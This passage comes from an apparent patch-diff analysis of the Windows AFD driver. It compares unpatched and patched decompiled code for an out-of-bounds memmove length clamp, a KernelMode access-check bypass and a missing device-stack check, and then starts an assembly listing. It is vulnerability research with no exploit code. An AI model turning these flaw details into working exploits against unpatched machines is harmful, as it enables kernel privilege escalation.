&lt;h3&gt;3.1 &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt; — OOB length clamp&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED (0x1C00641C0) =====&lt;/span&gt;
&lt;span class="c1"&gt;// buffer = MappedSystemVa(MDL) + offset&lt;/span&gt;
&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// 0x642CF / 0x642D3&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_4201696571_57655968&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// 0x642D7 — flag-gated&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Mdl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Mdl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// clamp (only on flag-on path)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// flag off (0x642DE jz): reach memmove with size unclamped&lt;/span&gt;
&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// 0x64304&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// 0x64309&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED (0x1C00641D0) =====&lt;/span&gt;
&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_499346745_59190809&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// 0x642DF — new flag&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IoStatus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Information&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IoStatus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Information&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;max&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// clamp to actual returned length&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Mdl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Mdl&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// legacy clamp&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// 0x6432C — clamped in every path&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// 0x64331&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;3.2 &lt;code&gt;AfdQueryHandles&lt;/code&gt; / &lt;code&gt;AfdTdiCreateAO&lt;/code&gt; — AccessMode&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED =====&lt;/span&gt;
&lt;span class="n"&gt;accessMode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;callerMode&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// arg3 (sil) / stack AccessMode&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_3932725563_57984164&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// default path&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10000&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;accessMode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="c1"&gt;// KernelMode — skips ACCESS_SYSTEM_SECURITY check&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;ObOpenObjectByPointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fileObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2000000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;IoFileObjectType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;accessMode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED =====&lt;/span&gt;
&lt;span class="n"&gt;ObOpenObjectByPointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fileObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2000000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;IoFileObjectType&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;callerMode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;3.3 &lt;code&gt;AfdCreateConnection&lt;/code&gt; — device-stack match&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED =====&lt;/span&gt;
&lt;span class="n"&gt;AfdIssueDeviceControl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fileObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// no device check&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED =====&lt;/span&gt;
&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceAttachmentBaseRef&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;DeviceObject&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// 0x48267&lt;/span&gt;
&lt;span class="n"&gt;hbase&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IoGetDeviceAttachmentBaseRef&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IoGetRelatedDeviceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fileObject&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 0x4827C&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hbase&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                                 &lt;/span&gt;&lt;span class="c1"&gt;// 0x48285&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ObDereferenceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hbase&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObDereferenceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObDereferenceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fileObject&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c1"&gt;// 0xC000000D @ 0x482B7&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;ObDereferenceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hbase&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObDereferenceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObDereferenceObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fileObject&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;AfdIssueDeviceControl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fileObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// 0x482F5&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;4.1 &lt;code&gt;AfdRestartSuperAcceptGetAddress&lt;/code&gt; — Unpatched flag-gated clamp (&lt;code&gt;0x1C00641C0&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642BE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; buffer offset&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642C1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;g_Feature_4201696571_57655968_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642C8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; IoStatus.Information&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642CC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;; rbp = MappedSystemVa + offset&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642CF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; AddressLength&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642D3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;di&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="c1"&gt;; size = AddressLength + 2&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642D7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00642DC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
